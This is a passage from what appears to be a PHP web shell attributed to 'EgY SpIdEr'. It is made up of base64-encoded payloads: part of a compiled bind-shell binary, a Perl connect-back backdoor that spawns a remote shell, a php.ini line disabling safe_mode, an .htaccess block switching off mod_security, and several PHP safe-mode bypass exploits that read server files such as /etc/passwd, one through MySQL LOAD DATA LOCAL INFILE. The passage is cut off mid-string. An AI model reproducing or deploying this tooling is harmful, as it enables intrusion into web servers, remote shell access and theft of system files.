AAAOgAAABIAAADcAgAA1JoECAAAAAAgABYA5wIAAAAAAAA5AAAAEgAAAPcCAAAkiQQIAAAAABIADQD9AgA
AAAAAALkAAAASAAAADQMAAAAAAAArAAAAEgAAAB0DAADgmgQIAAAAABAA8f8kAwAA6IUECAAAAAASAgwAO
wMAAOSaBAgAAAAAEADx/0ADAAAAAAAAeAAAABIAAABQAwAAAAAAAA4AAAASAAAAYQMAAEiJBAgEAAAAEQA
OAHADAADUmgQIAAAAABAAFgB9AwAAAAAAADkAAAASAAAAjwMAAAAAAAAAAAAAIAAAAKMDAAAAAAAAAAAAA
CAAAAAAYWJpLW5vdGUuUwAuLi9zeXNkZXBzL2kzODYvZWxmL3N0YXJ0LlMAaW5pdC5jAGluaXRmaW5pLmM
AL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2kzODYtbGliYy9jc3UvY3J0aS5TAGNhb
GxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1RfXwBfX0pDUl9MSVN
UX18AY29tcGxldGVkLjQ0NjMAcC40NDYyAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABmcmFtZV9kdW1teQBfX
0NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWx
fY3RvcnNfYXV4AC9idWlsZC9idWlsZGQvZ2xpYmMtMi4zLjYvYnVpbGQtdHJlZS9pMzg2LWxpYmMvY3N1L
2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml
0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHT
ElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkN
fMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzd
GVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19
ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkY
XRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4
wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHT
ElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWd
pc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";
$back_connects="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KaWYgKCEkQVJHVlswXSkgew0KIC
BwcmludGYgIlVzYWdlOiAkMCBbSG9zdF0gPFBvcnQ+XG4iOw0KICBleGl0KDEpOw0KfQ0KcHJpbnQgIlsq
XSBEdW1waW5nIEFyZ3VtZW50c1xuIjsNCiRob3N0ID0gJEFSR1ZbMF07DQokcG9ydCA9IDgwOw0KaWYgKC
RBUkdWWzFdKSB7DQogICRwb3J0ID0gJEFSR1ZbMV07DQp9DQpwcmludCAiWypdIENvbm5lY3RpbmcuLi5c
biI7DQokcHJvdG8gPSBnZXRwcm90b2J5bmFtZSgndGNwJykgfHwgZGllKCJVbmtub3duIFByb3RvY29sXG
4iKTsNCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSAoIlNv
Y2tldCBFcnJvclxuIik7DQpteSAkdGFyZ2V0ID0gaW5ldF9hdG9uKCRob3N0KTsNCmlmICghY29ubmVjdC
hTRVJWRVIsIHBhY2sgIlNuQTR4OCIsIDIsICRwb3J0LCAkdGFyZ2V0KSkgew0KICBkaWUoIlVuYWJsZSB0
byBDb25uZWN0XG4iKTsNCn0NCnByaW50ICJbKl0gU3Bhd25pbmcgU2hlbGxcbiI7DQppZiAoIWZvcmsoIC
kpIHsNCiAgb3BlbihTVERJTiwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERPVVQsIj4mU0VSVkVSIik7DQog
IG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOw0KICBwcmludCAiLS09PSBDb25uZWN0QmFjayBCYWNrZG9vci
B2cyAxLjAgYnkgU25JcEVyX1NBIHNuaXBlci1zYS5jb20gPT0tLSAgXG5cbiI7IA0Kc3lzdGVtKCJ1bnNl
dCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gLS09PVN5c3RlbWluZm89PS0tIDsgdW5hbWUgLW
E7ZWNobzsNCmVjaG8gLS09PVVzZXJpbmZvPT0tLSA7IGlkO2VjaG87ZWNobyAtLT09RGlyZWN0b3J5PT0t
LSA7IHB3ZDtlY2hvOyBlY2hvIC0tPT1TaGVsbD09LS0gIik7IA0KICBleGVjIHsnL2Jpbi9zaCd9ICctYm
FzaCcgLiAiXDAiIHggNDsNCiAgZXhpdCgwKTsNCn0=";
$php_ini1="c2FmZV9tb2RlICAgICAgICAgICAgICAgPSAgICAgICBPZmY=";
$htacces="PElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPg0KICAgIFNlY0ZpbHRlckVuZ2luZSBPZmYNCiAg
ICBTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+";
$sni_res="PD8NCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFz
ZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCm
luaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hv
IGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZWd5Il0pOw0KPz4=";
$egy_res="PD8gDQoNCiAgLy8gU2FmZSBtb2RlIGJyZWFrZXIuIGVYcGwwaWQgYnkgS1BiSUMgW2VneV9z
cGlkZXJAaG90bWFpbC5jb21dIA0KICAvLyBkYXRhOiAyOC4wMS4yMDA4IA0KDQogIGVycm9yX3JlcG9ydG
luZyhFX1dBUk5JTkcpOyANCiAgaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAxKTsgDQoNCiAgZWNobyAi
PGhlYWQ+PHRpdGxlPiIuZ2V0Y3dkKCkuIjwvdGl0bGU+PC9oZWFkPiI7IA0KDQogIGVjaG8gIjxmb3JtIG
1ldGhvZD1QT1NUPiI7IA0KICBlY2hvICI8ZGl2IHN0eWxlPSdmbG9hdDogbGVmdCc+Um9vdCBkaXJlY3Rv
cnk6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1yb290IHZhbHVlPSd7JF9QT1NUWydyb290J119Jz48L2Rpdj
4iOyANCiAgZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSctLSZyYXF1bzsnPjwvZm9ybT4iOyAN
Cg0KICBlY2hvICI8SFI+IjsgDQoNCiAgLy8gYnJlYWsgfmNlbnNvcmVkfiBzYWZlLW1vZGUgISANCg0KIC
Akcm9vdCA9ICIvIjsgDQoNCiAgaWYoJF9QT1NUWydyb290J10pICRyb290ID0gJF9QT1NUWydyb290J107
IA0KDQogIGlmICghaW5pX2dldCgnc2FmZV9tb2RlJykpIGRpZSgiU2FmZS1tb2RlIGlzIE9GRi4iKTsgDQ
oNCiAgJGMgPSAwOyAkRCA9IGFycmF5KCk7IA0KICBzZXRfZXJyb3JfaGFuZGxlcigiZWgiKTsgDQoNCiAg
JGNoYXJzID0gIl8tLjAxMjM0NTY3ODkwYWJjZGVmZ2hpamtsbm1vcHFyc3R1dnd4eXpBQkNERUZHSElKS0
xNTk9QUVJTVFVWV1hZWiI7IA0KDQogIGZvcigkaT0wOyAkaSA8IHN0cmxlbigkY2hhcnMpOyAkaSsrKXsg
DQogICRwYXRoID0ieyRyb290fSIuKChzdWJzdHIoJHJvb3QsLTEpIT0iLyIpID8gIi8iIDogTlVMTCkuIn
skY2hhcnNbJGldfSI7IA0KDQogICRwcmV2RCA9ICREW2NvdW50KCREKS0xXTsgDQogIGdsb2IoJHBhdGgu
IioiKTsgDQoNCiAgICAgICAgaWYoJERbY291bnQoJEQpLTFdICE9ICRwcmV2RCl7IA0KDQogICAgICAgIG
Zvcigkaj0wOyAkaiA8IHN0cmxlbigkY2hhcnMpOyAkaisrKXsgDQoNCiAgICAgICAgICAgJHBhdGggPSJ7
JHJvb3R9Ii4oKHN1YnN0cigkcm9vdCwtMSkhPSIvIikgPyAiLyIgOiBOVUxMKS4ieyRjaGFyc1skaV19ey
RjaGFyc1skal19IjsgDQoNCiAgICAgICAgICAgJHByZXZEMiA9ICREW2NvdW50KCREKS0xXTsgDQogICAg
ICAgICAgIGdsb2IoJHBhdGguIioiKTsgDQoNCiAgICAgICAgICAgICAgaWYoJERbY291bnQoJEQpLTFdIC
E9ICRwcmV2RDIpeyANCg0KDQogICAgICAgICAgICAgICAgIGZvcigkcD0wOyAkcCA8IHN0cmxlbigkY2hh
cnMpOyAkcCsrKXsgDQoNCiAgICAgICAgICAgICAgICAgJHBhdGggPSJ7JHJvb3R9Ii4oKHN1YnN0cigkcm
9vdCwtMSkhPSIvIikgPyAiLyIgOiBOVUxMKS4ieyRjaGFyc1skaV19eyRjaGFyc1skal19eyRjaGFyc1sk
cF19IjsgDQoNCiAgICAgICAgICAgICAgICAgJHByZXZEMyA9ICREW2NvdW50KCREKS0xXTsgDQogICAgIC
AgICAgICAgICAgIGdsb2IoJHBhdGguIioiKTsgDQoNCiAgICAgICAgICAgICAgICAgICAgaWYoJERbY291
bnQoJEQpLTFdICE9ICRwcmV2RDMpeyANCg0KDQogICAgICAgICAgICAgICAgICAgICAgIGZvcigkcj0wOy
AkciA8IHN0cmxlbigkY2hhcnMpOyAkcisrKXsgDQoNCiAgICAgICAgICAgICAgICAgICAgICAgJHBhdGgg
PSJ7JHJvb3R9Ii4oKHN1YnN0cigkcm9vdCwtMSkhPSIvIikgPyAiLyIgOiBOVUxMKS4ieyRjaGFyc1skaV
19eyRjaGFyc1skal19eyRjaGFyc1skcF19eyRjaGFyc1skcl19IjsgDQogICAgICAgICAgICAgICAgICAg
ICAgIGdsb2IoJHBhdGguIioiKTsgDQoNCiAgICAgICAgICAgICAgICAgICAgICAgfSANCg0KICAgICAgIC
AgICAgICAgICAgICB9ICAgICAgICANCg0KICAgICAgICAgICAgICAgICB9IA0KDQogICAgICAgICAgICAg
IH0gICAgICAgIA0KICAgIA0KICAgICAgICB9ICAgIA0KDQogICAgICAgIH0gDQoNCiAgfSANCg0KICAkRC
A9IGFycmF5X3VuaXF1ZSgkRCk7IA0KDQogIGVjaG8gIjx4bXA+IjsgDQogIGZvcmVhY2goJEQgYXMgJGl0
ZW0pIGVjaG8gInskaXRlbX1cbiI7IA0KICBlY2hvICI8L3htcD4iOyANCg0KDQoNCg0KICBmdW5jdGlvbi
BlaCgkZXJybm8sICRlcnJzdHIsICRlcnJmaWxlLCAkZXJybGluZSl7IA0KDQogICAgIGdsb2JhbCAkRCwg
JGMsICRpOyANCiAgICAgcHJlZ19tYXRjaCgiL1NBRkVcIE1PREVcIFJlc3RyaWN0aW9uXCBpblwgZWZmZW
N0XC4uKndob3NlXCB1aWRcIGlzKC4qKWlzXCBub3RcIGFsbG93ZWRcIHRvXCBhY2Nlc3MoLiopb3duZWQg
YnkgdWlkKC4qKS8iLCAkZXJyc3RyLCAkbyk7IA0KICAgICBpZigkbyl7ICREWyRjXSA9ICRvWzJdOyAkYy
srO30gDQoNCiAgfSANCg0KPz4g=";
$egy_bypass="DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0id
GV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij4NCjxtZXRhIG5hbWU9ImtleXdvcmRzIiBjb250ZW50PSJNeXN
xbCBCeXBhc3MiPg0KPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9Ik15c3FsIEJ5cGFzcyAiP
g0KPHRpdGxlPk15c3FsIEJ5cGFzczwvdGl0bGU+DQo8L2hlYWQ+DQoNCjxib2R5IHRleHQ9IiNGRkZGRkY
iIGJnY29sb3I9IiMwMDAwMDAiPg0KDQo8U1RZTEU+DQoNCkJPRFkNCiB7DQogICAgICAgIFNDUk9MTEJBU
i1GQUNFLUNPTE9SOiAjMDAwMDAwOyBTQ1JPTExCQVItSElHSExJR0hULUNPTE9SOiAjMDAwMDAwOyBTQ1J
PTExCQVItU0hBRE9XLUNPTE9SOiAjMDAwMDAwOyBDT0xPUjogIzY2NjY2NjsgU0NST0xMQkFSLTNETElHS
FQtQ09MT1I6ICM3MjY0NTY7IFNDUk9MTEJBUi1BUlJPVy1DT0xPUjogIzcyNjQ1NjsgU0NST0xMQkFSLVR
SQUNLLUNPTE9SOiAjMjkyOTI5OyBGT05ULUZBTUlMWTogVmVyZGFuYTsgU0NST0xMQkFSLURBUktTSEFET
1ctQ09MT1I6ICM3MjY0NTYNCn0NCg0KLnRhYmxlMSB7DQpCT1JERVI6IDE7DQpCQUNLR1JPVU5ELUNPTE9
SOiAjMDAwMDAwOw0KY29sb3I6ICMzMzMzMzM7DQp9DQoNCnRhYmxlIHsNCkJPUkRFUjogICNlZWVlZWUgI
G91dHNldDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMwMDAwMDA7DQpjb2xvcjogI2RhZGFkYTsNCn0NCmlucHV
0IHsNCkJPUkRFUi1SSUdIVDogICMwMEZGMDAgMSBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMwMEZGMDAgM
SBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgIzAwRkYwMCAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzAwRkY
wMCAxIHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsNCmZvbnQ6IDlwdCB0YWhvbWE7DQpjb
2xvcjogI2ZmZmZmZjsNCn0NCg0Kc3VibWl0IHsNCkJPUkRFUjogIGJ1dHRvbmhpZ2hsaWdodCAxIG91dHN
ldDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMyNzI3Mjc7DQp3aWR0aDogNDAlOw0KY29sb3I6ICNkYWRhZGE7D
Qp9DQp0ZXh0YXJlYSB7DQpCT1JERVItUklHSFQ6ICAjZmZmZmZmIDEgc29saWQ7DQpCT1JERVItVE9QOiA
gICAjOTk5OTk5IDEgc29saWQ7DQpCT1JERVItTEVGVDogICAjOTk5OTk5IDEgc29saWQ7DQpCT1JERVItQ
k9UVE9NOiAjZmZmZmZmIDEgc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMzMzMzMzOw0KZm9udDogRml
4ZWRzeXMgYm9sZDsNCmNvbG9yOiAjZmZmZmZmOw0KfQ0KQk9EWSB7DQptYXJnaW46IDE7DQpjb2xvcjogI
2RhZGFkYTsNCmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQp9DQpBOmxpbmsge0NPTE9SOnJlZDsgVEV
YVC1ERUNPUkFUSU9OOiBub25lfQ0KQTp2aXNpdGVkIHsgQ09MT1I6cmVkOyBURVhULURFQ09SQVRJT046I
G5vbmV9DQpBOmFjdGl2ZSB7Q09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9DQpBOmhvdmVyIHt
jb2xvcjpibHVlO1RFWFQtREVDT1JBVElPTjogbm9uZX0NCg0KPC9TVFlMRT4NCjxzY3JpcHQgbGFuZ3VhZ
2U9XCdqYXZhc2NyaXB0XCc+DQpmdW5jdGlvbiBoaWRlX2RpdihpZCkNCnsNCiAgZG9jdW1lbnQuZ2V0RWx
lbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ25vbmVcJzsNCiAgZG9jdW1lbnQuY29va2llPWlkK
1wnPTA7XCc7DQp9DQpmdW5jdGlvbiBzaG93X2RpdihpZCkNCnsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ
5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ2Jsb2NrXCc7DQogIGRvY3VtZW50LmNvb2tpZT1pZCtcJz0xO
1wnOw0KfQ0KZnVuY3Rpb24gY2hhbmdlX2RpdnN0KGlkKQ0Kew0KICBpZiAoZG9jdW1lbnQuZ2V0RWxlbWV
udEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPT0gXCdub25lXCcpDQogICAgc2hvd19kaXYoaWQpOw0KICBlb
HNlDQogICAgaGlkZV9kaXYoaWQpOw0KfQ0KPC9zY3JpcHQ+DQo8cCBhbGlnbj0iY2VudGVyIj4NCjxmb25
0IGNvbG9yPSIjRkYwMDAwIj4NCjxicj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6Z
TogMTVwdDsgZm9udC13ZWlnaHQ6IDcwMCI+PHAgYWxpZ249ImNlbnRlciI+PGZvbnQgZmFjZT0idGFob21
hIiBzaXplPSItMiI+PGI+DQo8Zm9udCBzdHlsZT0iRk9OVC1XRUlHSFQ6IDUwMDsgRk9OVC1TSVpFOiAxM
DBwdCIgZmFjZT0iV2ViZGluZ3MiIGNvbG9yPSIjODAwMDAwIj4NCjxwIGFsaWduPSJjZW50ZXIiPjxmb25
0IGZhY2U9InRhaG9tYSIgc2l6ZT0iLTIiPjxiPg0KPGZvbnQgc3R5bGU9IkZPTlQtV0VJR0hUOiA1MDA7I
EZPTlQtU0laRTogMTAwcHQiIGZhY2U9IldlYmRpbmdzIiBjb2xvcj0iIzgwMDAwMCI+DQo8YSBocmVmPSJ
odHRwOi8vd3d3LmVneXNwaWRlci5jb20iPiE8L2E+PC9mb250PjwvYj48L2ZvbnQ+PC9wPg0KPC9mb250P
jwvYj48L2ZvbnQ+PC9wPg0KPGJyPg0KPHAgYWxpZ249ImNlbnRlciI+DQo8Zm9udCBmYWNlPSJUYWhvbWE
iIHN0eWxlPSJmb250LXNpemU6IDE1cHQ7IGZvbnQtd2VpZ2h0OiA3MDAiPiZuYnNwOzxicj4NCjwvZm9ud
D48Zm9udCBmYWNlPSJUYWhvbWEiIHNpemU9IjIiIGNvbG9yPSIjMDBGRjAwIj40LjQuNyAvIDUuMi4zIFB
IUCZuYnNwOyAtJm5ic3A7IA0KTXlTUUwgU2FmZSBNb2RlIEJ5cGFzcyA8L2ZvbnQ+PC9wPg0KPGRpdiBhb
Glnbj0iY2VudGVyIj4NCg0KPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCg0KCTx0YWJsZSBib3JkZXI9IjAiIGN
lbGxzcGFjaW5nPSIxIiB3aWR0aD0iODU5IiBoZWlnaHQ9IjYlIj4NCgkJPHRyPg0KCQkJPHRkIHdpZHRoP
SIzMTEiPjxmb250IGZhY2U9IlRhaG9tYSI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij4NCgkJCSZ
uYnNwO0RhdGFCYXNlIE5hbWUgOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGJuYW1lIiBzaXplPSIyM
CI+Jm5ic3A7Jm5ic3A7Jm5ic3A7IA0KCQkJPC9zcGFuPjwvZm9udD48L3RkPg0KCQkJPHRkIHdpZHRoPSI
yNDAiPjxmb250IGZhY2U9IlRhaG9tYSI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij4NCgkJCVVzZ
XJuYW1lIDombmJzcDsgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRidXNlciIgc2l6ZT0iMjAiPiZuYnN
wOyZuYnNwOzwvc3Bhbj48L2ZvbnQ+PC90ZD4NCgkJCTx0ZCB3aWR0aD0iMjk4Ij48Zm9udCBmYWNlPSJUY
WhvbWEiPjxzcGFuIHN0eWxlPSJmb250LXNpemU6IDlwdCI+DQoJCQkmbmJzcDtQYXNzd29yZCA6Jm5ic3A
7IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkYnBhc3MiIHNpemU9IjIwIj48L3NwYW4+PC9mb250Pjwvd
GQ+DQoJCTwvdHI+DQoJCTx0cj4NCgkJCTx0ZCB3aWR0aD0iMzExIiB2YWxpZ249Im1pZGRsZSI+Jm5ic3A
7DQoJCQk8L3RkPg0KCQkJPHRkIHdpZHRoPSIyNDAiIHZhbGlnbj0ibWlkZGxlIj4mbmJzcDsNCgkJCTwvd
GQ+DQoJCQk8dGQgd2lkdGg9IjI5OCIgdmFsaWduPSJtaWRkbGUiPiZuYnNwOw0KCQkJPC90ZD4NCgkJPC9
0cj4NCgkJPHRyPg0KCQkJPHRkIHdpZHRoPSI1NTQiIHZhbGlnbj0ibWlkZGxlIiBjb2xzcGFuPSIyIj4NC
gkJCTxwIGFsaWduPSJsZWZ0Ij48Zm9udCBmYWNlPSJUYWhvbWEiPjxzcGFuIHN0eWxlPSJmb250LXNpemU
6IDlwdCI+DQoJCQlGaWxlIFBhdGggOiZuYnNwOyZuYnNwOw0KCQkJPGlucHV0IHR5cGU9InRleHQiIG5hb
WU9InBhdGgxIiBzaXplPSI0NSIgc3R5bGU9IiB3ZWlnaHQ6MjAwOyBoZWlnaHQ6MjE7IHdpZHRoOjIyOSI
gZGlyPSJsdHIiIHZhbHVlPSIvZXRjL3Bhc3N3ZCI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsd
WU9IkJ5cGFzcyIgbmFtZT0iZXhlYyI+PC9zcGFuPjwvZm9udD48L3RkPg0KCQkJPHRkIHdpZHRoPSIyOTg
iIHZhbGlnbj0ibWlkZGxlIj4mbmJzcDsNCgkJCTwvdGQ+DQoJCTwvdHI+DQoJCTx0cj4NCgkJCTx0ZCB3a
WR0aD0iODU1IiB2YWxpZ249Im1pZGRsZSIgY29sc3Bhbj0iMyI+DQoJCQk8YnI+DQoJCQk8Pw0KaWYoIWV
tcHR5KCRfUE9TVFsnZGJuYW1lJ10pICYmICFlbXB0eSgkX1BPU1RbJ2RidXNlciddKSAmJiAhZW1wdHkoJ
F9QT1NUWydkYnBhc3MnXSkgJiYgIWVtcHR5KCRfUE9TVFsncGF0aDEnXSkpIA0Kew0KJGRibmFtZSA9ICR
fUE9TVFsnZGJuYW1lJ107DQokZGJ1c2VyID0gJF9QT1NUWydkYnVzZXInXTsNCiRkYnBhc3MgPSAkX1BPU
1RbJ2RicGFzcyddOw0KJHBhdGgxID0gJF9QT1NUWydwYXRoMSddOw0KaWYobXlzcWxfY29ubmVjdCggImx
vY2FsaG9zdCIsICRkYnVzZXIsICRkYnBhc3MgKSkNCnsNCiRkcm9wPSAiRFJPUCBUQUJMRSAkZGJuYW1lL
mBieXBhc3NgIiA7DQokcXVlcnkgPSAiQ1JFQVRFIFRBQkxFICRkYm5hbWUuYGJ5cGFzc2AgKGBmaWxldml
ld2AgVkFSQ0hBUiggMjA0OCApIE5PVCBOVUxMKTsiOw0KbXlzcWxfcXVlcnkoJGRyb3ApOw0KbXlzcWxfc
XVlcnkoJHF1ZXJ5KTsNCm15c3FsX3F1ZXJ5KCJMT0FEIERBVEEgTE9DQUwgSU5GSUxFICIgLiAiJyRwYXR
oMSciICAuICIgSU5UTyBUQUJMRSAiIC4gJGRibmFtZSAuICIuYnlwYXNzIik7DQokcmVzdWx0ID1teXNxb
F9kYl9xdWVyeSgkZGJuYW1lLCJTRUxFQ1QgKiBGUk9NIGJ5cGFzcyAiKTsNCiRudW1yb3dzID0gbXlzcWx
fbnVtX3Jvd3MoJHJlc3VsdCk7IA0KPz4NCg0KPHRleHRhcmVhIHJvd3M9IjE1IiBuYW1lPSJyZXN1bHQiI
GNvbHM9IjEwMyIgc3R5bGU9ImNvbG9yOiAjMDBGRjAwOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwIj4
NCjw/ICAgDQp3aGlsZSgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpICAgeyANCmVjaG8gJ
HJvd1tmaWxldmlld10gOyANCg0KICAgIH0gDQp9DQoNCn0NCg0KPz4NCjwvdGV4dGFyZWE+PC90ZD4gIAk
NCg0KCQk8L3RyPg0KCTwvdGFibGU+DQogIDwvZm9ybT4NCjwvZGl2Pg0KPERJViBpZD0ibiIgYWxpZ249I
mNlbnRlciI+DQogIDxUQUJMRSBib3JkZXJDb2xvcj0iIzExMTExMSIgY2VsbFNwYWNpbmc9IjAiIGNlbGx
QYWRkaW5nPSIwIiB3aWR0aD0iMTAwJSIgYm9yZGVyPSIxIj4NCiAgICA8VEJPRFk+DQogICAgICA8VFI+D
QogICAgICAgIDxURCB3aWR0aD0iMTAwJSI+PHAgYWxpZ249ImNlbnRlciI+PFNUUk9ORz5vLS0tWyBFZ1l
fU3BJZEVyIHwgfCA8QSBlZ3lfc3BpZGVyQGhvdG1haWwuY29tPmVneV9zcGlkZXJAaG90bWFpbC5jb208L
0E+IHxkZXZlbG9wZXIgYnkgZWd5IHNwaWRlciAgIChhaG1lZCByYWdlaCkgXS0tLW88L1NUUk9ORz48L3A
+PC9URD4NCiAgICAgIDwvVFI+DQogICAgPC9UQk9EWT4NCiAgPC9UQUJMRT4NCjwvRElWPg0KPHAgYWxpZ
249ImNlbnRlciI+Jm5ic3A7PC9wPg0KDQoNCg==";
$egy_bypass2="PD9waHANCi8qDQpTYWZlX01vZGUgQnlwYXNzIFBIUCA0LjQuMiBhbmQgUEhQIDUuMS4y
DQpieSBqb2tlciBmcm9tIHhyb290LkNvbQ0KDQoqLw0KDQoNCiRmaWxlPSIiOyAvLyBGaWxlIHRvIEluY2
x1ZGUuLi4gb3IgdXNlIF9HRVQgX1BPU1QNCiR0eW1jemFzPSIiOyAvLyBTZXQgJHR5bWN6YXMgdG8gZGly
IHdoZXJlIHlvdSBoYXZlIDc3NyBsaWtlIC92YXIvdG1wDQoNCg0KDQplY2hvICI8UFJFPlxuIjsNCmlmKG
VtcHR5KCRmaWxlKSl7DQppZihlbXB0eSgkX0dFVFsnZmlsZSddKSl7DQppZihlbXB0eSgkX1BPU1RbJ2Zp
bGUnXSkpew0KZGllKCJcblNldCB2YXJpYmxlcyBcJHR5bWN6YXMsIFwkZmlsZSBvciB1c2UgZm9yIHZhcm
libGUgZmlsZSBQT1NULCBHRVQgbGlrZQ0KP2ZpbGU9L2V0Yy9wYXNzd2RcbiA8Qj48Q0VOVEVSPjxGT05U
DQpDT0xPUj1cIlJFRFwiPnd3dy5FZ3lTcGlkZXIuQ29tLw0KZWd5X3NwaWRlckBob3RtYWlsLmNvbSA8Yn
I+U2FmZV9Nb2RlIEJ5cGFzcyBQSFAgNC40LjIgYW5kIFBIUCA1LjEuMiAiKTsNCn0gZWxzZSB7DQokZmls
ZT0kX1BPU1RbJ2ZpbGUnXTsNCn0NCn0gZWxzZSB7DQokZmlsZT0kX0dFVFsnZmlsZSddOw0KfQ0KfQ0KDQ
okdGVtcD10ZW1wbmFtKCR0eW1jemFzLCAiY3giKTsNCg0KaWYoY29weSgiY29tcHJlc3MuemxpYjovLyIu
JGZpbGUsICR0ZW1wKSl7DQokenJvZGxvID0gZm9wZW4oJHRlbXAsICJyIik7DQokdGVrc3QgPSBmcmVhZC
gkenJvZGxvLCBmaWxlc2l6ZSgkdGVtcCkpOw0KZmNsb3NlKCR6cm9kbG8pOw0KZWNobyAiPEI+LS0tIFN0
YXJ0IEZpbGUgIi5odG1sc3BlY2lhbGNoYXJzKCRmaWxlKS4iDQotLS0tLS0tLS0tLS0tPC9CPlxuIi5odG
1sc3BlY2lhbGNoYXJzKCR0ZWtzdCkuIlxuPEI+LS0tIEVuZCBGaWxlDQoiLmh0bWxzcGVjaWFsY2hhcnMo
JGZpbGUpLiIgLS0tLS0tLS0tLS0tLS0tXG4iOw0KdW5saW5rKCR0ZW1wKTsNCmRpZSgiXG48Rk9OVCBDT0
xPUj1cIlJFRFwiPjxCPkZpbGUNCiIuaHRtbHNwZWNpYWxjaGFycygkZmlsZSkuIiBoYXMgYmVlbiBhbHJl
YWR5IGxvYWRlZC4gam9rZXIgVGVhbQ0KO108L0I+PC9GT05UPiIpOw0KfSBlbHNlIHsNCmRpZSgiPEZPTl
QgQ09MT1I9XCJSRURcIj48Q0VOVEVSPlNvcnJ5Li4uIEZpbGUNCjxCPiIuaHRtbHNwZWNpYWxjaGFycygk
ZmlsZSkuIjwvQj4gZG9zZW4ndCBleGlzdHMgb3IgeW91IGRvbid0IGhhdmUNCmFjY2Vzcy48L0NFTlRFUj
48L0ZPTlQ+Iik7DQp9DQo/Pg==";
$egy_vb="DQo8aHRtbD48aGVhZD48dGl0bGU+RWdZIFNwSWRFciA8L3RpdGxlPg0KPFNUWUxFPg0KDQpCT
0RZDQogew0KICAgICAgICBTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLUhJR0h
MSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgQ09MT1I6I
